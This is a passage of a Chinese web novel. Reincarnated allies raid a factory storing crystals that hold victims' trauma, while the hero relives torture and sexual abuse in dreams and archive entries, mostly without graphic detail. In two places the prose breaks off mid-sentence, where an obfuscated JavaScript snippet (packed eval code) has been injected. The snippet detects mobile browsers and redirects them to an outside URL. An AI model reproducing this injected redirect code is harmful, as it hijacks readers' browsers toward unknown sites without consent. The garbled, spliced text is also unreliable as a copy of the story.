“他在做噩梦。”沈鉴也看向那扇门,“脑电波显示,他正在重新经历第一世……的过程。而且不止第一世,还有其他世的部分记忆碎片。” 陆予瞻的喉结滚动了一下:“能干预吗?” “理论上可以,但风险很大。”沈鉴推了推眼镜,“强行中断创伤性记忆的加工过程,可能会导致记忆碎片固化,形成更顽固的闪回。而且……” 他顿了顿,似乎在斟酌用词。 “而且什么?” “而且这些记忆,是他必须面对的。”沈鉴的语气带着科研人员特有的冷静,“忘川蛊对陈子轩生效的原理,是抹除执念。但执念之所以存在,往往是因为有未处理的创伤。君荼白现在的状态……就像是在被迫处理这些创伤。” 陆予瞻沉默了很久。 然后他说:“我去看看他。” “他现在抗拒身体接触。”沈鉴提醒,“昨晚周屹扶他时,他虽然没推开,但肌肉僵硬指数显示他的应激反应依然强烈。” “我知道。”陆予瞻的声音很轻,“我只是……看看。” 他推开门,动作很轻。 休息室里,周屹抬头看了他一眼,点了点头,然后起身让出位置,退到窗边,继续履行守卫的职责。 陆予瞻走到床边,在周屹刚才坐的椅子上坐下。他甚至没有靠得太近,只是安静地看着。 晨光透过窗帘的缝隙照进来,在君荼白苍白的脸上投下细长的光斑。他的睫毛很长,此刻被冷汗浸湿,黏在下眼睑上。嘴唇没有血色,微微张着,发出断断续续的呼吸声。 陆予瞻记得第一世时,君荼白笑起来的模样,那时候他刚从警校毕业,分配到陆予瞻的队里,眼神明亮,笑容干净,说话时习惯性地微微歪头。队里的人都喜欢他,说他像个小太阳。 后来太阳熄灭了。 被那些畜生,一寸一寸地掐灭。 陆予瞻的呼吸变得沉重。他移开视线,看向君荼白放在被子外的手。那只手的腕部,月牙形在晨光中格外清晰。 那是第一世留下的。 也是陆予瞻每一世轮回开始寻找君荼白时,第一个确认的标志。 有一世,陆予瞻找到君荼白时,他才十七岁,还在高中读书。陆予瞻伪装成转学来的老师,在走廊里“偶然”碰到他。那时候的君荼白完全是个普通少年,和同学说笑着走过,手腕上干干净净,还没有那道疤。 陆予瞻知道,疤会在君荼白二十四岁那年出现。当他的记忆开始苏醒,当轮回的齿轮重新转动。 所以他等了七年。 看着君荼白毕业,上大学,谈恋爱(虽然每一世的恋情都无疾而终,因为君荼白潜意识里抗拒亲密关系),然后在他第一世的二十四岁生日那天,那道疤准时出现。 每一次,陆予瞻都会在疤出现后的第一时间找到他。 每一次,他都会用同样的开场白:“我是陆予瞻。生日快乐。” 每一次,君荼白都会茫然地摇头,但眼神里会有一闪而过的困惑——那是灵魂深处对他的本能记忆。 这种重复了一百四十七次的相遇,每一次都让陆予瞻既期待又痛苦。期待是因为又找到了他;痛苦是因为知道接下来会发生什么。记忆苏醒,痛苦重现,然后又一次走向注定的结局。 “队长……” 床上的君荼白忽然发出声音,很轻,但清晰。 陆予瞻的身体僵住了。 君荼白还在昏睡,眼睛紧闭,那声“队长”只是梦呓。但他的眉头皱得更紧,手指抓紧被单,指节泛白。 “……别过来……队长……快走……” 他在梦里看见了什么? 是在仓库里,看见陆予瞻冲进来救他吗? 还是在后山的土坑里,看见陆予瞻带着秦牧找到他? 陆予瞻的胸口传来一阵尖锐的疼痛,他伸出手,悬在君荼白的手上方,想要握住那只颤抖的手,给他一点温度。 但在指尖即将触碰到的瞬间,他停住了。 他想起了君荼白推开他时的眼神,那种混合着恐惧、厌恶和自我憎恨的眼神。那不是针对陆予瞻的,是针对所有试图触碰他的人。 陆予瞻缓缓收回手,握成拳头,放在膝盖上。 指甲陷进掌心,留下深深的印痕。 他不能碰。 这是他必须遵守的界限。 也是他必须承受的惩罚,为了一百四十六世都没能真正救下他。 君荼白的梦境。 他站在一片黑暗里,周围什么也看不见,但能听见声音。 很多声音。 笑声。喘息声。铁链碰撞声。还有……他自己的哭声。 “别哭了,小白。”陈子轩的声音在耳边响起,温和得像在哄孩子,“哭多了眼睛会肿,就不好看了。” 一只手抚上他的脸,手指冰凉,戴着丝质手套。 君荼白想后退,但身体被铁链锁着,动弹不得。 “你看,他们都很喜欢你。”陈子轩的声音带着笑意,“你是今晚的特别嘉宾。” 黑暗中,更多的手伸过来。有的戴着手套,有的没有。有的粗糙,有的细腻。但都带着同样的温度,冰冷的,没有生命的温度。 那些手碰触他的皮肤,留下黏腻的触感。 君荼白开始发抖,是因为那种从胃部深处翻涌上来的、生理性的恶心。 “放开……”他的声音在发抖,“放开我……” “为什么要放开?”陈子轩的声音依然温和,“你不是很享受吗?” “我没有……” “你有。”陈子轩的手指轻轻划过他的锁骨,“你的身体在颤抖,你的呼吸在加快。这就是享受。” 这不是真的。 君荼白在梦里告诉自己。这只是记忆,是过去的事,已经结束了。 但身体不听话。 那些触感太真实了。那些气味,古龙水、血腥味、汗味、还有某种甜腻的腐败气息,太真实了。 他想吐,但胃里空空如也,只能干呕。 “真可怜。”陈子轩的声音里带着虚假的同情,“要不要我帮你?” 一只手按在他的后颈,强迫他抬起头。 然后他看见了—— 不是陈子轩。 是陆予瞻。 梦境扭曲了。记忆碎片混杂在一起。 穿着警服的陆予瞻站在他面前,眼神悲伤。 “荼白,对不起。”陆予瞻说,“我来晚了。” 君荼白想说话,但发不出声音。 “如果我能更早一点……”陆予瞻的声音在颤抖,“如果我能更强一点……” “不是你的错。”君荼白在梦里说,但陆予瞻听不见。 陆予瞻伸出手,想要碰触他被铁链磨破的手腕。 但在指尖即将碰到的瞬间,君荼白猛地后退,铁链哗啦作响。 “别碰我!” 那不是对陆予瞻说的,是对记忆里所有那些手说的。 但陆予瞻的手停在半空,眼神里的悲伤更深了。 “对不起……”陆予瞻低声说,“我只是想……帮你……” “你帮不了。”君荼白听见自己说,声音冰冷,“没有人能帮。这是我的身体,我的记忆,我自己面对……脏。” 那个“脏”字像一把刀,刺穿了梦境。 画面碎裂。 君荼白睁开眼睛。 现实。休息室。 君荼白猛地坐起来,大口喘气,冷汗浸透了睡衣。他的瞳孔涣散,视线没有焦点,还在梦和现实的边界挣扎。 “荼白。” 一个声音在耳边响起,很近,但不带压迫感。 君荼白转过头,看见了周屹。周屹站在床边,保持着适当的距离,没有伸手碰他。 “是梦。”周屹说,声音嘶哑但平稳,“你现在……安全。” 君荼白的呼吸慢慢平复。他环顾四周,确认了自己在哪里。然后他看见了坐在椅子上的陆予瞻。 陆予瞻正看着他,眼神关切,担忧,还有一种君荼白不愿深究的情绪。 “我……”君荼白的声音沙哑,“我睡了多久?” “两个小时。”周屹说,“沈鉴说……你需要更多休息。” “我休息够了。”君荼白掀开被子,想要下床,但腿一软,差点摔倒。 周屹扶住了他的手臂,动作很快,但一触即分,在君荼白出现抗拒反应前就松开了。 “谢谢。”君荼白低声说。 陆予瞻站起身,走向门口:“我去叫沈鉴。你最好做个检查。” “不用。”君荼白说,“我没事。” 陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“还是说,”君荼白继续,声音里带着一种残酷的平静,“你只是想扮演拯救者的角色,享受那种‘我在帮他’的感觉,但不想真的碰触那些肮脏的部分?” 这句话太重了。 重到陆予瞻后退了一步,像被重击。 周屹在窗边开口:“荼白。” 两个字,制止。 君荼白停下来,深吸一口气。他的胸口在剧烈起伏,刚才那番话消耗了他太多力气。 “对不起。”他低声说,“我不该这么说。我不该这么对你。” 陆予瞻摇了摇头,没有说话。他转过身,拉开休息室的门,走了出去。 门轻轻关上。 房间里只剩下君荼白和周屹。 良久,周屹说:“他说得对。” 君荼白看向他。 “我们……绑在一起。”周屹的声音很慢,但很清晰,“你的痛苦……也是我们的。你不需要……一个人承担。” “但有些东西,”君荼白说,“只能一个人承担。” “比如?” “比如……”君荼白抬起手,看着自己的手腕,“这具身体记住的东西。那些……反应。你们分担不了。” 周屹沉默了。 然后他说:“但你可以……说出来。不需要详细说。只需要让我们知道……你在痛。” 君荼白看着周屹,这个刚刚恢复声音的男人,正在努力用语言表达关心。 “我现在就在痛。”君荼白说,声音很轻,“全身都在痛。像被很多只手……同时抓住。” 周屹点头:“知道了。” 没有多余的安慰,没有空洞的“会好的”,只是简单的“知道了”。 但正是这种简洁,让君荼白感到了某种奇怪的安慰。 “那两个孩子呢?”他换了个话题。 “在隔壁。沈鉴看着。”周屹说,“他说……中午会醒。” “那我们还有时间。”君荼白走到衣柜前,拿出干净的衣服,“去工厂。在基金会反应过来之前。” 周屹皱眉:“你需要休息。” “我可以在车上休息。”君荼白开始换衣服,背对着周屹,“陈子轩中了忘川蛊,现在是最虚弱的时候。基金会可能会把他藏起来,或者……处理掉。我们必须在他完全失忆前找到他。” “为什么?” “因为他记得很多事。”君荼白扣好衬衫的扣子,“关于那个组织,关于那些受害者,关于……镜渊。如果他忘了,线索就断了。” 周屹想了想,点头:“我去准备车。” “叫上沈鉴。”君荼白说,“他需要分析工厂里的设备。还有……带上那台忆晶石扫描仪。” “陆予瞻呢?” 君荼白动作一顿。 “让他……留在这里。”他说,“照顾那两个孩子。等他们醒了,需要有人问话。” 这是借口。 他们都明白。 周屹没有戳破,只是点头:“好。” 他走出休息室,轻轻关上门。 君荼白站在房间中央,看着镜子里苍白的自己。 他想起了陆予瞻离开时的眼神,那种混合着受伤、愧疚和极致痛苦的眼神。 他知道自己刚才的话太重了。 但他必须说。 因为他不能让陆予瞻继续靠近。不能让那种关切继续加深。 有些界限,必须划清。 为了他自己,也为了陆予瞻。 君荼白抬起手,摸了摸自己的胸口。那里,禁声蛊的母蛊已经解除,但留下了一个空洞的感觉。 他摇摇头,现在不是想这些的时候。 现在,他必须去工厂,去面对那些储存着无数痛苦记忆的忆晶石。 去继续他未完成的使命。 18. 记忆工厂 上午七点,城南郊区。 废弃工厂的铁门半敞着,锈迹斑斑的门轴上挂着断裂的铁链。晨雾还没有完全散去,低低地笼罩着这片荒废的工业区。远处的烟囱在雾气中若隐若现,像一个个沉默的墓碑。 沈鉴的车停在五百米外的树林里。他熄了火,但没有立刻下车,而是先检查了一遍随身装备。 “热成像显示建筑内有三个生命体。”他盯着平板上的扫描图像,“两个在一层,巡逻模式。一个在地下二层入口处,静止不动,可能是守卫或监控。” 君荼白坐在副驾驶座,目光透过车窗望向工厂主楼。他的脸色依然苍白,但眼神很专注,已经看不出两个小时前从噩梦中惊醒的慌乱。 “忆晶石的能量波动呢?”他问。 “很强。”沈鉴调出能量扫描图,屏幕上显示着刺眼的红色区域,全部集中在地下二层,“比我们昨晚在地下室感应到的强度高出至少二十倍。那里应该是一个……大型记忆储存库。” 后座的周屹检查完手枪的弹夹,低声说:“直接进?” “不。”沈鉴摇头,“我需要先切断他们的通讯和监控。给我十分钟。” 他打开笔记本电脑,手指在键盘上快速敲击。屏幕上的代码瀑布般滚动,防火墙一层层被突破。沈鉴入侵了工厂的安保系统,动作熟练得像在自家后花园散步。 君荼白看着他的侧脸。在晨光的映照下,沈鉴的眼镜片反射着屏幕的蓝光,那张总是冷静理性的脸上,此刻没有任何表情。 “沈鉴。”君荼白忽然开口。 “嗯?” “昨晚……你说我的记忆是我必须面对的。”君荼白的语气很平静,“那你呢?你这一百四十七世,一直在研究这些。一直在记录数据,分析灵魂,分析痛苦。你不觉得……这本身也是一种逃避吗?” 沈鉴的手指停在键盘上。 他转过头,看着君荼白。镜片后的眼睛里有什么东西闪了一下,但很快消失了。 “我不是在逃避。”沈鉴说,“我是在寻找答案。” “什么答案?” “为什么。”沈鉴的声音很轻,“为什么那些人要做那些事。为什么痛苦会被收集、被复制、被当成商品。为什么有些人可以那样对待另一些人。我想用科学……用数据……找到那个‘为什么’。” 君荼白沉默了几秒。 “找到答案之后呢?” “然后改变它。”沈鉴转回头,继续敲击键盘,“如果我能理解这套系统是如何运作的,我就能找到摧毁它的方法。这不是逃避,荼白。这是我的战斗方式。” 他说“战斗方式”时,语气依然平静,但君荼白听出了里面的东西,一种深藏的愤怒,被理性层层包裹,但从未熄灭。 “好了。”沈鉴按下最后一个键,“监控系统已接管,通讯屏蔽已启动。他们有备用电源,但我的病毒会在三分钟后触发,让整个系统瘫痪十五分钟。我们有十五分钟的时间下去,找到核心区,然后撤离。” “如果遇到抵抗呢?”周屹问。 “尽量避免。”沈鉴说,“但如果必须……我准备了麻醉气雾弹。可以让成年人在三十秒内失去意识。” 他从背包里拿出三个防毒面具,分给两人。 “记住,我们不是来杀人的。”沈鉴戴上面具前,最后说了一句,“我们是来找证据的。杀人……解决不了问题。” 君荼白和周屹对视一眼,点了点头。 七点十五分,三人悄无声息地靠近工厂。 周屹打头阵,他的动作轻盈得像猫,几乎没有发出任何声音。沈鉴跟在中间,手持能量探测器,随时调整路线。君荼白殿后,左手始终按在胸口,那里,蛊虫正在感应周围的能量波动。 主楼的大门虚掩着。周屹推开门缝,侧身进入。里面是一个空旷的大厅,曾经可能是车间,现在只剩下一些废弃的机器和满地灰尘。 空气中弥漫着一股奇怪的味道,不是灰尘味,也不是霉味,而是一种……甜腻的金属味,混合着某种药材的苦涩。 “是忆晶石加工液的味道。”沈鉴低声说,“他们在批量生产。” 大厅尽头有一扇厚重的铁门,门上有电子锁。周屹上前检查,沈鉴已经在平板上操作,几秒后,锁发出轻微的“咔哒”声。 铁门缓缓滑开。 门后是向下的楼梯,很深,看不到底。楼梯两侧的墙壁上安装了应急照明灯,发出惨白的光。 三人依次走下楼梯。 越往下,那种甜腻的金属味越浓。君荼白的胃开始不舒服,那种味道勾起了不好的联想,第一世的仓库里,那些人在他身上涂抹的某种药膏,就是这个味道。 “荼白。”周屹察觉到了他的异常,停下脚步,“你走中间。” 君荼白摇头:“我殿后。如果下面有蛊术陷阱,我能感应到。” 周屹看了他一眼,没有坚持。 楼梯的尽头是另一扇门,这次是密码锁。沈鉴花了二十秒破解。门打开的瞬间,三人同时屏住了呼吸。 门后是一个巨大的地下空间,至少有半个足球场大。空间里整齐排列着几十台机器,每台机器都在运转,发出低沉的嗡鸣。 机器的主体是透明的玻璃柱,柱内流动着暗红色的液体——忆晶石的原材料。在液体的中心,悬浮着一颗颗刚刚成型的忆晶石,大小不一,颜色从浅红到深紫不等。 但最令人震撼的,是墙壁。 整个空间的四面墙壁,从地面到天花板,全部被改造成了巨大的储存架。架上密密麻麻地排列着已经完成的忆晶石,每一颗都有编号标签,在昏暗的灯光下泛着幽幽的荧光。 那是成千上万颗忆晶石。 每一颗里,都储存着一个人的痛苦记忆。 “天……”沈鉴的声音第一次出现了波动。他快步走向最近的一面墙,用扫描仪对准那些忆晶石。 屏幕上跳出数据: 编号001-037-1905 内容类别:极端痛苦/性侵犯 受害者:女性,17岁 持续时间:72小时 灵魂能量评级:A- 编号002-015-1908 内容类别:长期囚禁/饥饿 受害者:男性,11岁 持续时间:189天 灵魂能量评级:B+ 编号003-022-1911 内容类别:系统性折磨/肢体损毁 受害者:女性,24岁 持续时间:14天 灵魂能量评级:A 沈鉴的手指在颤抖。他快速滑动屏幕,数据不断刷新。编号一直延伸到三位数、四位数…… “他们从1905年就开始记录。”沈鉴的声音嘶哑,“一百多个轮回了。这些忆晶石……是一个完整的犯罪档案馆。” 君荼白走到一面墙前,抬头看着那些发光的石头。在昏暗的光线下,他能看见石头内部有光影流动,那是记忆的碎片,是被囚禁的痛苦。 他伸出手,指尖悬在一颗忆晶石上方。 不需要触碰,蛊力已经感应到了里面的内容。 尖叫。哭泣。求饶。还有……笑声。施虐者的笑声。 君荼白猛地收回手,后退一步,撞在周屹身上。 “别看。”周屹扶住他,声音很低,“这些……不是你现在该看的。” 但君荼白移不开视线。 他的目光扫过那些编号。001,002,003……一直往后。他在找。 找那个编号。 047-XXX-XXXX 那是第一世的他。 找到了。 在墙壁的中间位置,一颗深紫色的忆晶石。标签上写着: 编号047-001-1923 内容类别:系统性凌虐/性侵犯/极端痛苦 受害者:男性,24岁,警察 持续时间:72小时 灵魂能量评级:S 备注:特殊样本,建议永久保存 S级。 最高评级。 君荼白盯着那颗石头。它看起来和其他忆晶石没什么不同,只是颜色更深,光芒更暗,像凝固的血。 “荼白。”沈鉴走过来,顺着他的目光看去,“那是……” “是我。”君荼白的声音很平静,“第一世的我。” 沈鉴沉默了。他看了看那颗忆晶石,又看了看君荼白,像是在对比——石头里封存的记忆,和眼前这个活生生的人。 “要带走吗?”周屹问。 君荼白摇头。 “不。”他说,“我要毁了它。毁了这里所有的石头。” “为什么?”沈鉴问,“这些是证据。可以证明基金会——” “证明什么?”君荼白打断他,声音里第一次出现了明显的情绪波动,“证明这些人受过苦?证明那些人做过恶?这些还需要证明吗?” 他转过身,看着沈鉴。 “这些石头里的记忆,每一份都是一条人命,一个破碎的灵魂。他们被当成‘样本’,被评级,被分类,就像……就像货物一样。现在,你还想把它们带走,继续当成‘证据’来研究吗?” 沈鉴的表情僵住了。 “我不是那个意思。”他说,“我只是……从科学角度” “科学角度?”君荼白笑了,那笑容很冷,“沈鉴,你看看这些编号。001号,1905年,一个十七岁的女孩。她经历了什么,你知道吗?她被那些人……做了什么,你知道吗?” 他指向另一颗石头。 “还有这个,011号,1912年,一个十三岁的男孩。他被间接性的饿了189天。189天,沈鉴。你知道饿189天是什么感觉吗?” 君荼白的呼吸变得急促。 “我知道。因为第一世,他们也饿过我。三天。只有三天。但那种感觉……我永远忘不了。胃像火烧,喉咙发干,头昏眼花,最后连哭的力气都没有。三天就这样,那189天呢?” 他深吸一口气,强迫自己冷静下来。 “这些不是数据,不是样本,是人。活过的人。痛过的人。死掉的人。我们不能……不能继续把他们当成研究对象。” 沈鉴沉默了很长时间。 然后他说:“你说得对。” 他摘下眼镜,擦了擦镜片。 “对不起。”沈鉴说,“我……习惯了用数据思考。习惯了把一切都当成研究对象。我忘了……这些数据的背后,是人。” 他把眼镜戴回去,眼神重新变得坚定。 “但我们还是需要证据。至少……需要带走一部分编号和记录。否则我们无法向外界揭露基金会。” “我们可以拍照。”周屹提议,“拍下编号。拍下机器。然后……毁掉这里。” 君荼白看向沈鉴。 沈鉴想了想,点头:“可以。给我五分钟,我需要扫描几台关键设备的结构。然后我们就动手。” 他走向最近的一台忆晶石加工机,开始扫描。 君荼白走到墙壁前,看着那颗属于他的忆晶石。深紫色的晶体在架子上幽幽发光,像一只不眠的眼睛。 他伸出手,这次没有悬停,而是直接握住了石头。 瞬间,记忆涌来。 但不是第一世的记忆。 是……其他的东西。 黑暗。然后是光。 一个年轻女孩的脸,十七八岁,很清秀,但脸色苍白,眼睛红肿。她在哭,无声地哭,眼泪顺着脸颊往下流。 “妈妈……我想回家……” 然后是另一个画面:一个中年女人,穿着实验室的白大褂,手里拿着针筒。她的表情很平静,甚至可以说是温柔。 “别怕,很快就结束了。” 针扎进女孩的手臂。 女孩的眼睛瞪大,然后慢慢失去焦点。 “记忆提取开始。”女人的声音在画面外响起,“预计持续时间七十二小时。注意监测灵魂稳定性。” “是。” --- 君荼白松开手,后退一步。 那不是他的记忆。 是这颗忆晶石在“回放”它储存的内容——不是完整的记忆,只是一些碎片。 但这碎片里,有线索。 “沈鉴。”君荼白说,“这些忆晶石……它们不只是储存记忆。它们还在……互相连接。” “什么意思?” “我刚才碰到了我的那颗。但我看见的不是我的记忆,是001号那个女孩的。”君荼白看着墙壁上密密麻麻的石头,“它们之间……有某种共鸣。像一个……网络。” 沈鉴立刻回到扫描仪前,调整参数。几秒后,他的表情变了。 “你说得对。”他的声音里带着震惊,“这些忆晶石不是独立存储单元。它们通过某种能量场连接在一起。看这里——” 他指向屏幕上的能量分布图。图上显示,所有的忆晶石都发出细密的能量线,这些线在空中交织,最后汇聚到空间的中央——那里有一个圆柱形的金属装置,大约两米高,直径一米。 “那是什么?”周屹问。 “看起来像……一个核心处理器。”沈鉴放大图像,“它在收集所有忆晶石的能量,进行某种……整合。” 君荼白走向那个装置。随着距离拉近,他手腕上的蛊印开始发烫。 很烫。 比昨晚面对陈子轩时还要烫。 “停下!”沈鉴忽然喊道,“能量读数异常!那个装置在——!” 太晚了。 君荼白已经走到了装置前。 那是一个光滑的金属圆柱,表面没有任何按钮或接口,但能感觉到里面有能量在流动。在圆柱的正面,有一个手掌形状的凹槽。 君荼白看着那个凹槽。 然后,他做出了一个决定。 他把左手按了上去。 手腕上的月牙疤痕,正好对准凹槽的中心。 光。刺眼的光。 然后是声音。无数声音。 哭声。笑声。尖叫声。求饶声。还有……音乐? 君荼白发现自己站在一个白色的空间里。没有墙壁,没有天花板,没有地板,只有白茫茫的一片。 “你好,047号。” 一个声音响起。不是从某个方向传来,而是直接在脑海里响起。 君荼白转过身。在他面前,出现了一个人影。 那是一个女孩,看起来十五六岁,穿着白色的连衣裙,赤着脚。她的脸很模糊,像是隔着毛玻璃在看,但能感觉到她在微笑。 “你是……” “我是001号。”女孩说,“也可以叫我……小晚。1905年,我十七岁。他们抓了我,关了我三个月。然后把我变成了第一颗忆晶石。” 她的声音很平静,没有任何情绪波动。 “你……你的记忆……”君荼白不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052014|194818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该说什么。 “都在这里。”女孩张开双臂,白色空间里开始浮现画面——很多画面,重叠在一起,“不只是我的。所有人的。002号,003号……一直到昨天最新的那颗,编号14786。” 数字让君荼白浑身发冷。 一万四千七百八十六颗忆晶石。 一万四千七百八十六个受害者。 “你在这里……多久了?”他问。 “很久了。”女孩说,“久到我已经忘记了时间的意义。我在这里看着新的记忆不断进来,旧的记忆慢慢淡化。有些记忆……已经消失了。因为它们的主人……灵魂已经彻底消散了。” 她顿了顿,补充道:“就像你的那三个朋友。” 君荼白愣住了。 “什么?” “陆予瞻。沈鉴。周屹。”女孩一个一个念出名字,“他们的记忆……也在被收集。从第一世开始。每一次轮回,基金会的人都会找到他们,提取他们的部分记忆——特别是关于你的记忆。那些记忆,是研究‘契约效应’的重要数据。” 君荼白的呼吸停止了。 “你说……他们也被……” “不是身体上的。”女孩摇头,“是记忆提取。用特殊的仪器,在睡梦中进行。他们自己不知道。但每一次,基金会都会拿走一点——关于你的死亡,关于他们的愧疚,关于契约的痛苦。” 她看着君荼白,模糊的脸上似乎有怜悯的表情。 “你不知道吗?他们三个……比你痛苦得多。你每一世死亡后就会忘记,但他们不会。他们记得每一次。记得你是怎么死的,记得自己是怎么失败的,记得那种……眼睁睁看着却无能为力的感觉。” “这些记忆,被基金会收集起来,分析,研究。用来改进他们的‘灵魂提取技术’。你的痛苦让他们兴奋,但你朋友们的痛苦……让他们着迷。因为那是持续了一百四十七世的、不断累积的、永远不会消散的痛苦。那是……完美的实验材料。” 君荼白感到一阵眩晕。 他想起了陆予瞻眼里的血丝,想起了沈鉴冰冷的理性,想起了周屹沉默的背影。 被系统性地、重复性地、持续了一百四十七世的创伤。 “为什么告诉我这些?”他问。 “因为你在碰触核心。”女孩说,“这个装置,是‘记忆网络’的接口。它连接着所有忆晶石,也连接着基金会的主服务器。你碰到了它,你的意识就被接入了网络。” 她向前走了一步,伸出手——那只手也是模糊的,像一团光。 “我可以帮你。”女孩说,“我可以让你看到所有的记忆。所有受害者的脸,所有施虐者的名字,所有交易记录,所有资金流向。你可以拿到足够摧毁整个基金会的证据。” “代价呢?”君荼白问。 “代价是……你会记住。”女孩的声音很轻,“所有的记忆,所有的痛苦,所有的一万四千七百八十六个人的经历,都会进入你的意识。你的大脑……可能承受不了。” 她停顿了一下。 “但如果你不接受,你就拿不到核心证据。基金会可以轻易否认一切,说这些只是‘艺术装置’或者‘医学研究’。那些已经死去的人……就永远得不到正义。” 君荼白看着女孩模糊的脸。 然后他问了一个问题: “你想让我接受吗?” 女孩沉默了。 良久,她说:“我想让你毁掉这里。” “什么?” “毁掉这里。”女孩重复,声音第一次出现了情绪波动,是痛苦,“我不想要什么正义。我只想要……结束。不只是我,是所有人。让这些记忆消失,让这些痛苦停止。让我们……安息。” 她的身体开始闪烁,像信号不良的电视画面。 “这个网络……它在消耗我们。每时每刻,它都在从忆晶石里抽取能量,用来维持自己的运转,用来做更多的研究,用来制造更多的痛苦。我们被囚禁在这里,不仅是记忆被囚禁,连痛苦本身都成了能源。” 她伸出手,这次更加模糊了。 “毁掉它,047号。用你的蛊术,用你的力量。把这个地方……烧成灰。” 君荼白看着她的手,然后看向周围白色的空间。 现在他看清楚了,那些白色不是空无,是无数记忆的混合物,是痛苦被稀释到极致后的颜色。 “好。”他说,“我答应你。” 女孩笑了。虽然脸是模糊的,但君荼白能感觉到她在笑。 “谢谢。”她说,“还有……对不起。” “为什么道歉?” “因为接下来……我有预感最后你会疯掉。但不是因为记忆。” 光消失的瞬间,涌来的不仅有记忆,还有数据。 冰冷的、精确的、不带任何感情的数据流。 屏幕上浮现出一行行信息: 接入者:047号轮回体(当前标识:君荼白) 轮回次数:147(当前为第147次) 核心任务目标:摧毁“永生集团”及其记忆交易网络(状态:未完成) 关联任务者: - 陆予瞻(编号001,轮回守护者) - 沈鉴(编号002,数据记录者) - 周屹(编号003,执行护卫者) 特殊备注: - 047号轮回体已成功传递关键情报72次 - 导致集团分支机构暴露并摧毁记录:43起 - 解救相关受害者累计:317人 - 当前轮回进度:第147次,核心目标未变 君荼白看着那些数据,面无表情。 他早就知道。 从第一世死亡开始,到之后的每一次轮回,目标从未改变——摧毁那个隐藏在历史阴影里、以贩卖痛苦记忆为业的“永生集团”。只是每一次,他都死得太早,或者离核心太远。 只有这一世不同。 这一世,他没有直接介入。他成了文献修复师,用三年时间慢慢“醒来”,用每周三的雨夜做锚点,用身体里的蛊术做武器,用三个男人的守护做掩护。 直到此刻,他站在这里,集团最重要的记忆生产基地之一。 “验证完毕。”电子音在脑海中响起,“047号,欢迎回到战场。” 现实。工厂地下二层。 君荼白的手还按在金属圆柱上。但他的眼睛已经闭上了,整个人僵在原地,像一尊雕塑。 “荼白!”周屹冲过去,想把他拉开。 但沈鉴拦住了他:“别碰!能量读数在飙升!他现在可能处于意识连接状态,强行断开会导致脑损伤!” “那怎么办?” “等。”沈鉴盯着屏幕,手指在键盘上飞快操作,“我在尝试建立反向连接,进入他的意识流……该死,防火墙太厚了。这不是普通的安全系统,是——” 他的话戛然而止。 因为君荼白睁开了眼睛。 那双眼睛……不一样了。 瞳孔深处,有无数细小的光点在闪烁,像倒映着星空。但仔细看,那些光点不是星星,是画面,快速闪过的、破碎的画面。 哭脸。笑脸。血。眼泪。手。锁链。针筒。还有……数字。 无数的数字,在眼睛里滚动。 “荼白?”周屹试探性地问。 君荼白转过头,看向他。那双眼睛里没有任何情绪,只有纯粹的……信息。 19. 破碎的容器 君荼白重新睁开眼睛。 沈鉴和周屹正警惕地看着他,手已经按在武器上——不是防备他,是防备周围可能出现的危险。 “我没事。”君荼白收回手,声音平静,“只是确认了一些事。” “关于什么?”沈鉴问。 “关于我们为什么在这里。”君荼白看向墙壁上那些发光的忆晶石,“以及……为什么集团会把我第一世的记忆,也收藏在这里。” 他走向那颗属于他的忆晶石——编号047-001。深紫色的晶体里,封存的是第一世的痛苦。但那些痛苦,现在只是数据样本。 “第一世,我二十四岁,卧底代号‘荼白’。”君荼白的声音没有任何波动,“任务目标是码头走私集团——那是‘永生集团’最早的外壳之一。我提前行动,救了七个孩子,其中有陆予瞻的妹妹。我被发现,被审问,被用他们最擅长的方式折磨——制造‘高质量痛苦记忆’。” 他顿了顿。 “我死了。但死前,我把所有情报刻在了仓库的砖缝里,用他们打掉我牙齿时流出的血。陆予瞻后来找到了那些情报,摧毁了那个据点。” 周屹的呼吸微微加重。 “之后每一世,”君荼白继续说,“我都用不同的方式介入。有时是警察,有时是记者,有时是医生,有时是教师。目标都一样——找到集团,摧毁他们。但每一次,我都死在接近核心之前。” 他转身看向沈鉴。 “你记录每一次数据,分析每一次失败的原因。周屹保护我,尽可能延长每一世的行动时间。而陆予瞻……” 君荼白停顿了一下。 “陆予瞻在每一次轮回开始前,都会把上一世的关键情报,用加密方式‘藏’进我的潜意识里。所以每次我醒来,都会有一些模糊的直觉——比如每周三要去咖啡馆,比如对某些气味敏感,比如身体里的某些‘肌肉记忆’。” 他抬起左手,手腕上的月牙痕在昏暗光线下泛着微光。 “这个是第一世,我之后用碎玻璃在手腕上加深刻的,集团核心成员的识别符号。我把它刻在自己身上,是想混进内部。但还没来得及,就死了。之后每一世,这个符号都会以不同形式出现——胎记、烫伤、手术疤痕。是陆予瞻做的。他说,既然集团认得这个符号,那就让他们‘认得’我。” 沈鉴推了推眼镜:“所以从一开始,你就是诱饵?” “是武器。”君荼白纠正,“主动进入战场的武器。” 他再次看向那颗忆晶石。 “集团收集我的痛苦记忆,不是因为恨我,是因为……研究我。他们想弄明白,为什么一个人可以死一百多次,却依然选择回来,依然选择战斗。他们想找到‘摧毁意志’的方法,从我身上。” 地下室里一片寂静。 良久,周屹开口:“这一世呢?” “这一世,我们换个打法。”君荼白说,“前一百四十六次,我都想从外部攻破。但这一次……我要从内部瓦解。” 他从口袋里掏出一枚小小的金属片——那是沈鉴之前给他的“加速剂”安瓿瓶的密封盖。但此刻,金属片内侧浮现出极细微的电路纹路。 “这是陆予瞻这一世提前植入的。”君荼白说,“接触记忆网络核心时,它会激活一个程序,不是读取,是上传。” 